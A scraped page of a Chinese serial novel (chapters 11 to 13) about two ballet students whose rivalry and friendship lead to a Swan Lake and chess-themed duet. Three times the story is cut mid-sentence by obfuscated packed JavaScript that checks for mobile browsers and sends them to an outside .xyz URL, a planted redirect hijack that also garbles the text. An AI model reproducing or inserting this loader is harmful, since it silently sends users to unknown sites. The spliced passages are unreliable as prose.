往日的同伴们是怎么做的呢？ “哇，素熙你真是太有魅力了，好羡慕你。” “哦——素熙远离他们。他们是坏男人，会伤害你。” 其实珍星也和她们没什么两样吧。 素熙突然生了怯懦的心思，在等待珍星回答的时间里，她是如此纠结。 “不要答应，素熙。” “任何一个人的告白都不要答应。” 珍星的回答太过斩钉截铁，和刚刚看起来完全不在乎她的表现截然相反。 “诶？” “珍星，为什么要叫我不答应呢？” 珍星拿起一枝玫瑰，在粗糙的地面上，轻松地就跳起了吉赛尔的舞步，她毫不费力地分饰着吉赛尔和阿尔贝特的角色。 “就算是一见钟情，你看，最后的结果不也是吉赛尔孤独地消失了。” “可是，阿尔贝特也为她伤心，他一辈子也不会忘记吉赛尔了。” 对现实中的人是一种态度，但对作品中的人物素熙总是宽容的。 她相信世界上的人也能上演这样凄美的故事，忠贞不渝、永恒美好。 虽然，到目前为止的人生里，她并没有发现这样的人间真实。 “一个男人的缅怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644421|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就能成为吉赛尔的荣耀了吗？” “她才是主角，而阿尔贝特只是一个配角。” “吉赛尔的荣耀是她本人的善良和热烈吧。” 素熙发现珍星谈起吉赛尔时简直就是眼里放光，她也因此为这样的珍星而着迷。 “所以，我一直都很想成为吉赛尔。” 珍星回头牵住了素熙的手，带着她走上楼梯，她满怀信心地数着楼梯。 “一，二，三......” 我会这样一步一步走到芭蕾舞艺术最高的殿堂上。 “所以——” 走到终点时，珍星回过头，笑容满面。 “我们就这样一起学习芭蕾吧，素熙。” 她是如此热爱这门艺术，以至于侃侃而谈后，珍星短暂地抛开了束缚着她的那些坏心思。 纯粹又真挚地邀请素熙成为她追求艺术道路上的伙伴。 珍星有时讨厌素熙，有时嫉妒她。 但不可否认的是，每一次当素熙起舞时，美得有光环，那种生命力吸引着珍星。 如果素熙真的陷入了爱情，她还会好好跳舞吗？ 珍星又想起素熙曾经亲口说过，她并不喜欢芭蕾。 所以—— “不要去谈恋爱，好吗？” 素熙接过了她手里的花，接受了她的邀约。 可一切正如路人嘴里的嘀咕。 “哇，这两个人在演什么爱情戏码？” “就因为在女校读书，所以寂寞疯了吗？” 在素熙眼里，这更像一场告白。 也许此刻并不是爱情，但珍星表现得如此在乎自己。 她不想失去自己，也许是作为朋友。 “吉赛尔.......”她呢喃着。 如果我是吉赛尔，那么你，真的是我的阿尔贝特。 因为珍星的话而心动，却浑然不觉她话中对于阿尔贝特的贬低。 吉赛尔是芭蕾舞女演员追求的人生表演角色，艺术殿堂的象征。 但对于素熙而言，只是一个爱情故事的主人公。 她并没有听懂珍星的话，所以，故事的火车从此刻就发生了偏题。 两个人都以为对方在同一条轨道上，实际上，却是分叉路。 珍星选择热爱，素熙选择真爱。 同出爱之一字，却截然不同。 在她们身后，一个角落里，又一次佝偻着的身影，是惠珠。 她最近成为了素熙的迷妹，自从被她救了之后，就开始不自觉地跟着她。 惠珠发现，素熙身边总是有一个人。 后知后觉想起对方的名字叫做宋珍星，她并不嫉妒珍星能在素熙身边。 反而觉得，她们就该在一块。 但人并不是大方的生物，所以惠珠还是渴望能离素熙再近一些。 如果，她也能瘦下来，也许就会离素熙更近一些了吧。 打开手机，登陆不算发达的网络世界，在一个匿名论坛上，她寻找着自己的创作灵感。 校园大赛要来了。 惠珠漫无目的地看着帖子，停在了其中一条上。 【多出来的楼梯】 【狐狸怪谈】 【实现你愿望的狐狸阶梯】 “实现，我的愿望吗？” 11. 假狐狸 “狐狸啊狐狸，你也有想要实现的愿望吗？” “如果你也和我一样，你会怎么做呢？” 公园一角上的少女双手合十的许下自己的愿望。 “我想要，变得更好。” 随着夕阳的落下，下一次太阳升起，日子往后推移着。 春天的尾巴将近，夏天快要到了。 但对于这群学生而言，夏天并不是个好季节。 炎热带来涔涔汗水，既让身体感到不适又容易使所练习的动作变得极度扭曲。 窗外蝉蝉相鸣，将练习室里的学生们的心都搅得一团乱。 “好好收收心，下学期就三年级了。” “真正优秀的人，会在毕业前就有所成就，但你觉得你们之中哪个人能做到这一点？” 金老师严厉的训斥背后也是着急，不断落下的戒尺在那些不标准的形体上击打。 “非要我过来你才做得好吗？” 金老师站在珍星旁边敲打着她身边的女生。 当着老师面唯唯诺诺的孩子下了课之后又是另一幅模样。 这并不是虚伪，而是一种生存之道。 而珍星所在意的是，方才老师提到“有所成就”四个字时，她的目光停留在了素熙身上。 还是她身上呢？ 自那日无伤大雅的告白事件之后，珍星和素熙的关系更加亲近。 珍星将对方当做志同道合的朋友，素熙则将她当做一种希望。 只是，一些从过去就没有说开的问题，终究会带来困扰。 比如现在，那女生抱怨着金老师的严厉。 素熙半是好心半是安慰地对她说：“对啊，金老师的要求也太高了。” “哪里有人会在还没毕业的时候就出名啊。” “那样的话，不是芭蕾舞演员，是明星吧。” 得到支持的女生十分赞同。 “对啊，金老师这么上纲上线做什么，反正我也不一定会从事这个职业啦。” “那你为什么来这里？” 在一边压腿的珍星没忍住这么说了，说完之后才意识到自己的情绪化。 匆忙道歉后跑出了练舞室。 来到厕所洗了一把脸想要清醒一点。 是因为夏天到了，她也跟着浮躁起来了吗？ 最近两个月的考核，虽然有惊无险，可她依旧是第二名。 分明她已经在努力了，却还是排在了素熙后面，而她依旧这样轻松。 她曾在私下找过金老师，询问评分标准。 “你以为我不知道你在想什么？” “难道你在质疑我们打分有误？” “老师，我、我不是这个意思，我只是想知道为什么，我总是差一点。” 技术分上她和素熙相差无几，可是，情感演绎上，她总是比素熙差。 为什么呢？ 她在对人物的理解和演绎上，明明都是按照录像带里的原角一比一学习，她也去购买了曲目的原剧本去揣摩人物。 “去看一场戏剧吧，宋珍星，有些东西不是努力就能学会的。” 起初，珍星并不理解老师的意思。 直到某个周末，在素熙的邀请下，珍星提出了一同去看戏剧演出的想法。 “好啊，你有喜欢的剧目吗？我回家就去查查看。” “好像没有，你有什么推荐吗？” 于是两个人去看了《歌剧魅影》，这是一出很棒的舞台剧。 珍星想，只要多看一些就能变得更好了。 “不要打瞌睡，素熙。” 珍星爱上了这项艺术，会抽出一些时间拉着素熙去看。 而素熙一开始总是犯困，珍星以为是她不喜欢。 她不理解素熙为什么不喜欢。 “唔——我都看了好多次，小时候学校常常组织我们去看这些。” 素熙抿了抿嘴，伸出一截舌尖，作出撒娇的表情。 “我不是故意睡着的，请原谅我吧珍星。” “这样吗，那你好好休息吧。” “我没有怪你。” 珍星后知后觉，素熙和她是很不一样的。 出生在城市，生长于城市，艺术家母亲和优渥的家境。 如果直接这样罗列，珍星并不会有太多感觉，这些词条会激起人的羡慕，但更多时候是麻木。 她并不好奇井口的天空有多辽阔，做一只青蛙守住自己的那方蓝天就足够了。 正如她的母亲常常说的那样。 “知足的话就会快乐很多，幸福很多。” 可如果将这些因为太过遥远反而让人丧失想象的词条换成几句具体的话就不一样了。 “你第一次了解的新鲜玩意，对于我而言已经耳濡目染到毫不稀奇。” “你拼尽全力也不一定拿到的东西，对于我而言只是一个无用的摆件、垃圾。” “你需要大力奔跑才能抵达的未来，只是我无数选择中的一种，甚至不一定会被我挑中。” 珍星是等着被挑选的，而素熙是作出选择的人。 尽管极力忽视这一点，却在方方面面，一点点细节上都能感知到。 “没有关系的。” 珍星再次对素熙这样说，她在表演结束后买了一只冰淇淋道歉，大有一种珍星不原谅她的话就会化成“对不起”机器人的架势。 于是珍星再次向她表示没关系，她本可以像往日一样沉默，可因为素熙是朋友，所以她可以一遍遍说没关系。 出生就决定一个人的一辈子的话，那世界上是不是有很多人都没必要出生了呢？ 所以，她是拥有改变的能力的，不然她就没必要活着，对吧。 “不过，素熙你为什么会转到我们学校呢？” “听起来，你原本的学校更厉害。” 如果你没有出现的话，也许我就不会这样讨人厌了。对吧？ 自从素熙来之后，大家对于珍星那点优生滤镜下的尊重消失得荡然无存。 “拽什么拽，又不是最厉害的，装死了。” “还是我们素熙人美心善，这个宋珍星也不知走了什么运和她做朋友。” “不过是我们素熙的puppy罢了，你看她上赶着的模样就知道了。” 珍星知道，可恶的并不是素熙，是这些人，而她们从很久之前就不喜欢自己。 自己没必要得到她们的喜欢，所以没必要在意这些话。 “可是我觉得现在的生活更好呀。” “有你，还有其他不错的同学，你知道我们班的那个金美吗？” “她超会讲笑话的。” 素熙说了很多话，她生怕珍星察觉到自己的古怪心理。 珍星并没有很想跟她做朋友，她会离开自己的，如果她表现不好的话。 素熙忘记自己是什么时候产生这种不安心理的。 也许是从上周珍星为了更早去练舞室练习，拒绝了自己再为她带早餐吗？ “素熙你不要为我浪费时间做这些。” 这怎么能是浪费呢？ 这对珍星而言是没有价值的事情吗？ 所以，她要变成对珍星有价值的人。 素熙学着班上的金美告诉了珍星一个笑话。 “不、不好笑吗？” 珍星没有笑，反而因此冷下了脸。 良久之后，珍星才露出一点笑容。 “我没事，我只是不太爱笑而已。” 搞笑的金美吗？ 在珍星的记忆里，金美就是那个在开学第一天嘲笑自己的人。 她不想成为小气的人，也心知，金美在那天之后也并没有再对自己说过这种话。 可是，她不想原谅。 “不过，没有关系。” “我喜欢素熙你说的这个笑话。” 珍星又一次对素熙这么说了。她知道，如果不装做如无其事的话，素熙会缠着自己重复刚才的道歉行为。 这使她感到厌倦。 “珍星你也太好了，不过我应该没有讲笑话的天赋。” “很会跳舞就已经是别人求不来的东西了，你太贪心啦素熙。” 气氛渐渐回归和谐，素熙想起刚才珍星的问题。 “为什么转学这件事情，说起来，也是一次神奇的经历。” “有一次学校让大家做公益活动，我比较偷懒就挑了个比较轻松的活。” 素熙嘴上说轻松，实际上是在热得离奇的大夏天穿着厚重的玩偶服在路边发传单。 “快发完的时候，在路边碰见一个醉醺醺的女孩子。” “她哭着对我说，我没有朋友，我好痛苦。” 素熙边说边回头看珍星，很好奇她脸上的表情。 珍星睁着眼睛，似乎不敢相信她是因为这样草率的原因就转学了。 “我就转过来，想找她做朋友。” “我觉得她很可爱。” 珍星并不赞同：“你是在可怜她吧。” “这有什么分别，令人怜爱才是可怜可爱的意思吧。” 素熙在前方转了个圈，像是天真活泼的小精灵。 由她出发的行为都是善良的，可结果却并非如此。 “不要随便可怜一个人。” “这很可恶。” 珍星小声地说，终究没有让她听见。 她不会要求素熙站在自己的角度去思考，因为她们是不一样的人。 “那你要找的人，就是惠珠吗？” 珍星思考着素熙的话，如果是这样，她也理解为什么上次素熙会主动对惠珠释放善意。 “还挺浪漫的呢。” “你.......”素熙的话没来得及说，就听见身后草丛里传来的一声“有”。 两个人同时转身，看见了头发上还沾着几片草叶子的惠珠。 原来她把珍星话里提到她名字的行为，当成了点名，下意识就站起来举着一只手回答。 “什么呀，你还真的很可爱嘛。” 最先反应过来的素熙朝她走过去，把陷在草丛里的惠珠拉起来。 “对不起——” 结果，素熙也被惠珠拉倒，她倒在另一边。 等珍星过来时，看见两个同样可怜兮兮的少女。 顶着叶子，脸上还有灰扑扑的泥土。 “哈哈哈哈——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644422|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不好意思，你们这样也太有意思了。” 珍星突然笑出来，笑完之后伸出手，一手拉着一个人。 “要不，你先把素熙拉起来吧。” 惠珠躲开了她的手，神情有些不自然，她在害羞。 准确来说，是觉得羞耻。 “我，我太重了，刚刚已经让素熙摔倒了。” 珍星的回答是没有回答，她用行动证明了惠珠的担忧毫无必要。 “你这样是健康的身材啦，其实你很高，难道你不知道吗？” “什么？” “高高的人要壮一点才能顶住天空哦。” 在校外的珍星对惠珠表现得很随和，也许有一部分原因是素熙对她也很和善，而刚刚她得知了素熙是为惠珠才来到这个学校的。 珍星对她产生了一点好奇。 惠珠低下头没有说话，她比珍星更清楚自己的状态。 这样的安慰对她起不了任何作用。 场面于是就这样冷下去，即将陷入尴尬气氛时，素熙笑着挽住两个人。 “既然遇见了，就跟我们一起去玩吧。” “我带你们去看汉江夜景吧，那边时不时也有流浪舞者，跳舞超好看。” 一句话说给惠珠听，一句话说给珍星听。 素熙像是天生的一杆天平，总能将事情妥善解决。 珍星又一次意识到自己的性格，她不是个有意思的人。 可她并不知道，在草丛里等待着她的到来，因为她那样镇定自若的表情和干脆利落的行为而发呆的人，并不只有素熙。 那日的夕阳记录下了真正的魅力者。 而惠珠的出现，打乱了素熙原本想说的话。 她没能说出口的事情，成为了一个再也说不出口的秘密。 “其实是你呀，珍星。” 她穿着狐狸玩偶服遇见的少女，现在看来，那是珍星第一次喝酒，也许是唯一一次。 而珍星的酒品很差，一点也记不住她们之间的相遇。 有一种说法叫做酒后吐真言，素熙不知道那日的珍星经历了什么，可是醉酒的少女，红扑扑的脸颊像是一只雪雀。 和平时完全不一样的兴奋，跳脱。 “狐狸，好大的狐狸。” “我可以抱抱你吗？” 她拉着玩偶素熙跳舞，最后还大胆地摘下她的头套。 “哦！是狐狸仙子。” 这是釜山的一个传说，如果你遇见了狐狸仙子，向她许愿就能心想事成。 “狐狸啊狐狸，如果我许愿你得偿所愿，你会因为感谢我而一直跟着我实现我的愿望吗？” 珍星说着耍赖一般的愿望，就像金鱼与渔夫故事中那个永不满足的妻子。 一个愿望不够，她要随时随地就能许愿。 素熙本就是热情的性格，见到这么有意思的人，她乐在其中地问：“让我一直跟着你，你好贪心哦，你要用什么来和我交易呢？” “交易？你不是仙子吗，为什么我还要付出代价？” “不劳而获的想法是不对的哦这位小姐。” 素熙捏着她的鼻子，逗着这个小醉鬼。 “可是，我已经付出了很多，很多......” “我到底要付出多少，才能实现愿望呢？” 少女的神情暗淡下去，似乎想起了不开心的事，在酒精的催化作用下，甚至开始不顾形象地对着素熙哭诉起来。 哭诉到某一段时，不知道该怎么安慰她的素熙有了办法。 “你没有朋友的话，我当你的朋友好不好？” “我不要，狐狸仙子每天都忙着替人实现愿望，根本没空理我的吧。” “我会理你的，拜托你相信我吧。” 素熙不知道自己为什么从被求助者反而变成了求助者，她正在求这位少女给自己一个机会。 “哈哈哈哈，那你来找我吧。” “找到我，就让你当我的朋友。” 回过神来的素熙突然醒悟。 “做你朋友难不成是比成为总理朋友更厉害的事情？” “我都在说什么胡话啊，我也被你搞醉了吧。” 一个带着菠萝酒精的吻轻轻落在她的脸颊上，素熙扭头看见少女得逞的笑容。 “不管了，你已经被我留下印记了。” 素熙摸着脸上的水印，觉得又好笑又荒唐。 “什么啊，你这是......” “你是我的啦，狐狸。” 素熙刚想谴责她这样大胆的行为，同学就来叫她说是义务活动结束了老师让大家集合。 “你在这里等我一下好吗？” 素熙一步三回头地离开了，她刚走，少女就跳着离开，朝前跑走了。 等到素熙急匆匆回来时，代替她，留在原本位置上的是一瓶草莓牛奶。 草莓牛奶上有一张纸条，潦草地写着:“如果你真的是狐狸仙子的话，随随便便就能找到我吧。” “来找我吧，狐狸。” 狐狸是一种狡猾的生物，如果你挑衅它，它就会想方设法报复你。 好在，醉酒的珍星遇见的只是一只假狐狸。 12. 黑白天鹅 “都听说过校园大赛吧？” “我们系今年的期末考核就是在校园大赛里拿到名次，50名是合格线，5名以内优秀，其他良好。” 从来都把授课时间以秒级别来上的金老师，今天破天荒地花了整整一分钟来通知这件事情。 “马上就到三年级了，这次校园大赛会有很多校友回来观摩，其中应该不乏你们这些人的偶像，前辈。” 百年名校的优势就在这里了，资源和储备资源，源源不断。 珍星默默消化着老师的话，她想起去年的期末考核是演绎一段A级难度的已有作品或者自编三分钟，难度自然也不能下A级。 这次的校园大赛也会如此吗？ 珍星去年并没有参加校园大赛。 课后，教室门口会出现了惠珠的身影。 珍星发现她总喜欢躲着，可教室外的地方就这么多，而她的黄色头发就已经足够显眼。 上次夜游汉江，三个人之间的关系有了些许提升，对于珍星来说。 “来找素熙吗？” 于是，珍星主动和她对话，看见惠珠怯怯地点头时，珍星也试图学着素熙的样子对她笑一笑。 可惜惠珠并没有体会到她这份友善，反而后缩着身体，看起来是有些害怕珍星的。 “来找我吗？” 素熙突然从珍星身后冒出来，珍星心里有些难为情，她刚才学着素熙的表现被看见了吗？ 她会被当成讨人厌的学人精吗？ 想到这个可能性的瞬间，耳边仿佛就已经出现刺耳的嘲讽声。 “哦哟哟看看她吧，平时装作不说话的样子，结果是一只学人的老鼠。” “真恶心。” 而朝着素熙走过来的惠珠想的却是，素熙是不高兴了吗？ 不高兴珍星在跟除了素熙自己以外的人说话，甚至是笑。 但素熙又怎么会是小气鬼，她看起来似乎一切都好，只是默默站在珍星前面，挡住了她。 “有什么事情找我吗，惠珠？” 惠珠点点头，小声地提起刚才金老师在课堂上说的事情。 “那个，校园大赛，我想......” 素熙看见惠珠微微探头的动作，她有些愣住，但还是侧开一点身子。 “我想请你们两个人，担任我的模特。” 惠珠很认真地对着两个人弯腰，因为身形的原因这份尊重少了一分严肃。 变得像一只慵懒的小熊正在弯腰的形态，看起来憨态可掬。 “我、我们？” 最懵的人是珍星，她以为惠珠只是来找素熙，完全没想到对方的请求里还有自己。 模特？ 珍星的视线停留在惠珠的铭牌上，后知后觉对方是雕塑系的学生。 在下一个意识想到的是拒绝，因为她和素熙也需要为校园大赛而准备。 珍星的思想回转到课堂上，由金老师宣布的参赛方式。 “双人队伍，自主编舞，难度不能低于A，因为是配合性质，所以组队的时候要你们自己定好center。” A级意指advanced，其实也无需特别强调，每日她们都在以这个标准练习。 舞蹈动作标准，重心准确的同时尝试演绎出风格化的作品。 那什么等级会要求必须展现出自我的风格呢？ “当然，能做到senior级别的，自然是更好。” 这就是属于芭蕾舞的A＆S。 不过这次考核的难度在于自主编舞上，有的人能充分演绎现有作品却不代表她有创作的灵感。 不然世界怎么会定义出演绎人才和创作人才这一组词汇呢。 “周五截止报名。不报名的和最后没有名次的，就等着留级吧。” 毫无疑问的是珍星会和素熙组队，这次的center也多半会定成素熙。 “内部决定好之后，下星期把初版表演给我看，不适合的center我会换掉。” 金老师没说怎么换，不知道是两个人位置交换，还是根据组队情况，将队伍重新分配。 “好好表现吧，我可以提前告诉你们一个消息。” “下学期会有俄罗斯艺术学院的人来韩国，名义上只是友好巡演，实际上的意思你们都懂吧？” 点到为止的金老师深谙泄密之道。 素熙不在意地和珍星说悄悄话。 “金老师在说什么呀？” “俄罗斯那边的学校下学期可能会来选拔优秀的学生，给予进修机会。” 珍星按耐住自己的激动，尽量做到冷静地回答素熙。 这对她来说，是一个极好的机会。 但是，珍星不动声色地看着素熙。 素熙被她的注视弄得很不自然，她不知道珍星的想法，只是接着话题说。 “哦。这样吗？” “是很好的学校吗？” 素熙看起来兴致缺缺，并不在意。 “当然了，芭蕾舞就是起源于俄罗斯的呀。” 珍星蓦地一笑，轻轻拍了拍她的额头，素熙也跟着笑。 “你知道我艺术史修得最差的吧。” “我会监督你的。” 总而言之，她和素熙必须重视起这次比赛。 也许是打开新世界的一扇窗。 但素熙已经拍着手说好，她答应了惠珠。 “珍星也没问题的吧，反正我们是搭档，没差的。” 如果素熙忙于惠珠的事情无法参与双人排练，珍星一个人也是没有办法完成这次考核的。 而且，珍星一定会答应的，对吧。 素熙笑眯眯的眼睛里仿佛在这样说。 在珍星的想象中，她应该毫不留情面地说：“不，我自己也可以。” 可惜事实却是，珍星露出了并不真心的笑容说：“好。我没问题。” 于是三个人就这样约好了，放学后跟着惠珠一起去她的作品室。 回到教室的时候，珍星不再向前排走去，而是走到了素熙的位置旁边。 她们成为了同桌。 “想离你近一点，可以吗？” “wuli珍星对我最好了，对吧？” 因为素熙这样说了，所以她过来了。 可是珍星不知道，这是远远不够的。 素熙想要的距离，在某种程度上应该被叫做严丝合缝的亲密。 像柔软的丝绸，一点点包裹你，直至窒息般的死亡来袭，你们也无法分开。 课堂上，素熙用厚重的艺术史课本当做掩护，与珍星交流着编舞想法。 “音乐也得原创吗？” 素熙的问题很多，但可惜的是，珍星虽然比她在学校里多待了一年，却也无法回答。 “我去年，没有参加这个，不太清楚。” “为什么？珍星你应该很容易就拿奖了吧。” 珍星也摇摇头，说自己忘记了原因。 毕竟也是一年前的事情了，想不起也很正常。 班上有些同学甚至记不得今天是几月几号，只记得今天是周几。 素熙看出珍星的犹豫，很快转变了话风。 “没关系，原创我也是可以的，我之前也有写曲子呢。” 她露出一点得意的表情，珍星也被她吸引。 “说起来，我还记得，之前你有为我做钢伴。” “你学过很久的钢琴吗？” 珍星的老师家里是有过一架钢琴的，老师也曾经兴致勃勃地要教她。 不过，她只学会了认五线谱。 “你想太多了，所以一个键也记不住敲。” “珍星啊，你在想什么呢？” 最后，钢琴学习不了了之了。 所以她觉得素熙很厉害。 “嘿嘿，小时候我有学过两个月。” “后来妈妈就不让我学了。不过她平时很忙，所以我都有偷偷练。” 说到这里，素熙突然朝着珍星凑近一些，生怕别人听到般用低低的声音说。 “其实，我是一个乐队的键盘手哦。” “什么！”珍星没忍住，发出了不大不小的声音。 这让好脾气的艺术史老师，无奈地笑起来。 “是我讲得太好了，让珍星同学也赞不绝口吗？” “那你来代表大家回答一下这个问题吧。” 完蛋，根本就没有认真听课，珍星抿了抿唇，下意识看向素熙。 然而，素熙也是个大笨蛋。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644423|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 问题：在《天鹅湖》中黑白天鹅角色的名字是什么？ 其实是一个很简单的问题，看清楚之后，珍星也淡定地给出了答案。 “白天鹅的名字是奥杰塔，黑天鹅则叫做奥吉莉娅。” “很准确的回答，不过，这么简单的问题可不能浪费老师我来之不易的一次点名机会。” 老师幽默的说法为她接下来的开放性问题铺了底。 “那么，珍星同学你觉得黑白天鹅之间除了是对手，正义与邪恶的对立，还可以是什么关系呢？” 这个问题让珍星转不过头脑，还能是什么关系？ 天真纯洁的白天鹅与对她施下邪恶魔法，狡黠傲慢的黑天鹅之间，还能有什么别的关系？ 难道，作者设定她们是姐妹了吗？ 其实也可以说二者是相伴相生的关系，毕竟无正义不邪恶。 可珍星觉得，老师期待的答案并不是那么简单。 毕竟她们都能变成天鹅，在珍星绞尽脑汁也组织不出一句像样的话之时，她身边的素熙主动站起来。 “老师，我觉得她们之间是国际象棋之间的关系。” 黑白对立，这也是在说二者是对立的关系吧。 “可以详细说说吗？” 老师不确定素熙的意思，珍星也在思考她回答中的深意。 然而，素熙只是傻傻一笑。 “我只是觉得，黑白色很般配。然后除了黑白天鹅外第一个想到的就是国际象棋。” “哦——这样啊——” “老师，如果把黑白天鹅看成棋局里的黑白皇后，为什么没人想过，皇后们可以杀掉各自阵营中的国王，然后获得彼此之间的和平。” 当然不会有人这样想，因为没有这种规则，敌人都不够消灭了还要自刀，这很愚蠢。 不过发散于刚才的问题，珍星必须要给出一个不太一样的答案。 “傲慢的奥吉莉娅不一定非要听从她父亲的话，她是那么骄傲怎么会甘于成为工具呢，而解救奥杰塔的真爱之吻重点在真爱上而并不是王子。” “如果联想到刚才的棋局上，杀掉魔法师和王子这两枚国王棋，就能发现，皇后之间其实并没有什么敌意吧。” 珍星说着说着突然停了下来，有一种大脑转得太快但表达却跟不上的死机感。 “很有意思的解读，好，谢谢两位同学，请坐吧。” 坐下来之后珍星表现得很兴奋，她顾不上别的，主动抓住了素熙的手腕。 “素熙，我想到了。” “想到什么了？” “我们的编舞概念，就以方格上叛变的皇后为主题怎么样？” “将国际象棋和黑白天鹅联系起来，你是安杰塔，我是安吉莉娅。” 互相对立的两人发现了真正束缚着她们的规则，于是决定打破规则，杀掉国王，走向彼此。 既引用了经典又有了创新，珍星觉得素熙真的提出了一个好点子。 “你真的很棒诶，素熙。” 素熙并不是没有被赞美过，实际上，夸奖的话她听到过很多种。 但唯有珍星的话，让她觉得，她真的得到了肯定。 两个人“深情”对视着，珍星先感觉到自己的越界，不自在让她不觉后退。 但素熙抓住了她的手。 “为什么不是我来出演安吉莉娅，珍星你来当纯洁的安杰塔呢？” “当然是因为你的形象更符合。” 珍星说出了心声，而素熙轻轻掐着她的脸颊。 “所以我们才应该出演对自己挑战更大的角色，不是吗？” 虽然常常这样想，素熙并不懂珍星。 可素熙却知道，只要她这样说了，珍星就会答应。 珍星是如此热爱芭蕾，如此看重名次，她不会拒绝这种高难度的行为。 所以，素熙其实很了解珍星不是吗？ 好像没有人想过这样一点，其实珍星也并不懂素熙。 天真纯洁，不谙世事，这样的词条作为一种荣耀安在素熙身上，久而久之只会迎来一种反叛。 可为什么了解，还会有这么多的误会呢，素熙与珍星之间？ 我想，也许是因为她们总以为自己能改变对方吧。 13. 好点子 为了方便惠珠，放学之后三个人并没有选择在显眼的班级门口碰面，而是在人少一些的台阶旁集合。 这附近有一棵大树，对于这几日的朗朗晴日有着很好的庇荫效果。 “嗨，惠珠。” “你好。” “这个，请你们喝。” 惠珠不自在动作下是递过来的两瓶苏打水，只是这样一个简单的动作，都被她表现得极度惴惴不安。 不难想象，有多少人对她施加了没由来的恶意。 “哇，真是帮大忙了，我正想去小卖部买这个的。” 素熙如逢甘霖般拧开水瓶，咕噜咕噜喝下去，露出一副满足的表情。 惠珠也感到高兴，她觉得自己帮到忙了。 与她们格格不入的人就是珍星，她以一种“你们在演电视剧吗”的疑惑表情看着两个人。 但在素熙挤眉弄眼的暗示和惠珠莫名暗淡下的眼神的双重压力下，她也拧开了盖子，喝了一口水。 “嗯，我也刚好渴了，谢谢你惠珠。” 还是加入她们这种奇怪的氛围里吧，珍星想着。 和之前不太愿意参与的想法不一样， 因为艺术史上被素熙启发产生的灵感让珍星脑子里有了框架，接下来只需要去拆解天鹅湖里的舞蹈动作再根据想好的主题情节编排就好了。 虽然金老师说过表演前会有置景，但想要表现得脱颖而出，这些细节也需要再下功夫。 眼前的惠珠，也许就能帮忙。 说服了自己的珍星决定卖力一些，她们先帮惠珠的忙，再让惠珠帮她们。 “我们要去哪里呢？” “我和素熙要怎么做呢？” 珍星主动询问细节，惠珠却表现得没什么底气，支支吾吾说不出几个字。 “这个的话，我，我想的是......” “呃，要不然，我们先去我的创作点.......” 若不是珍星曾清楚记得去年惠珠作为雕塑系校园大赛第一名领奖的画面，她现在就会转身离开。 “我和珍星并不是老师，不用像回答问题一样那么紧张啦。” “放轻松一点吧，我们惠珠。” 素熙又一次作为打破尴尬的存在介入两人之间的对话。 这一次珍星向她递去了感激的眼神，她实在不适合惠珠交流。 没想到惠珠的创作地点是在教学楼下面的废弃地下室，但集合的地点离这里挺远，三个人绕了学校一圈回来，烈阳让几人都出了很多汗。 尤其是惠珠，热得呼吸都不顺畅起来了。 素熙习惯性地掏出手帕，不过担心对方介意，并没有主动替惠珠擦汗。 “我们先坐下休息一会儿吧。” 素熙体贴地说，并且第一个坐在地下室里的旧沙发上。 珍星不由得在想为什么不一开始就把目的地定在这里呢？ 不过，她不会没有眼力见地这么说。 她转眼打量起屋子里的陈设，由此看出惠珠是一个很会艺术创作的人。 因为屋子里的东西很多很杂，但一眼就能吸引人的是一些立体人像、骨架。 等到惠珠的状态恢复过来，珍星再一次提问。 “那，我们现在应该做什么呢？” “我想以素熙同学和......珍星同学作为我的模特，我会先画一些草图，然后做成小人像放在我的参赛载体上。” “所以，我......我想，请你们跳一支舞。” 惠珠慢慢地说完自己的打算，素熙已经捧场地鼓掌起来。 “wow，很棒的点子诶，所以你是要把我们做成小人放在那个楼梯上吗？” 素熙指着工作台上尚未完全成型的楼梯上。 惠珠随着她的指示看过去，摇了摇头。 “不是，我是打算做一个旋转木马。” “那，那个楼梯是做什么的呢？” “这个的话......” 惠珠明显有些犹豫，当她在思考要不要仔细介绍一下的时候，珍星的声音传来。 “所以，你还没有确定载体对吧？” “嗯，是的。” “那你要不要考虑一下，把载体做成国际象棋的棋盘。” “黑白色那种。” 这是一个很有新意的提议，至少惠珠是这么想的。 “为什么呢？” 真的引起了惠珠的好奇时，珍星反而觉得有点心虚。 她不确定这是不是在为自己谋利之下的一种刻意引导。 “哦！我知道珍星你要说什么。” 但素熙却没有意识到这些，很兴奋地加入讨论。 “是这样的，在上艺术史的时候，我给珍星提了一个超级好的意见。” “然后她决定以天鹅湖里的黑白天鹅和国际象棋里的黑白皇后作一个联想编舞。” “正好你不是要我们来跳舞嘛，你完全可以把我们想成棋盘上的棋子。” 素熙拍着手总结：“这样我们就可以相互配合，惠珠你觉得怎么样？” 珍星不由得吸了口气，如果是别人这个时候一定会说。 “凭什么？这样不就是在牺牲我的时间来做你们的东西吗？” 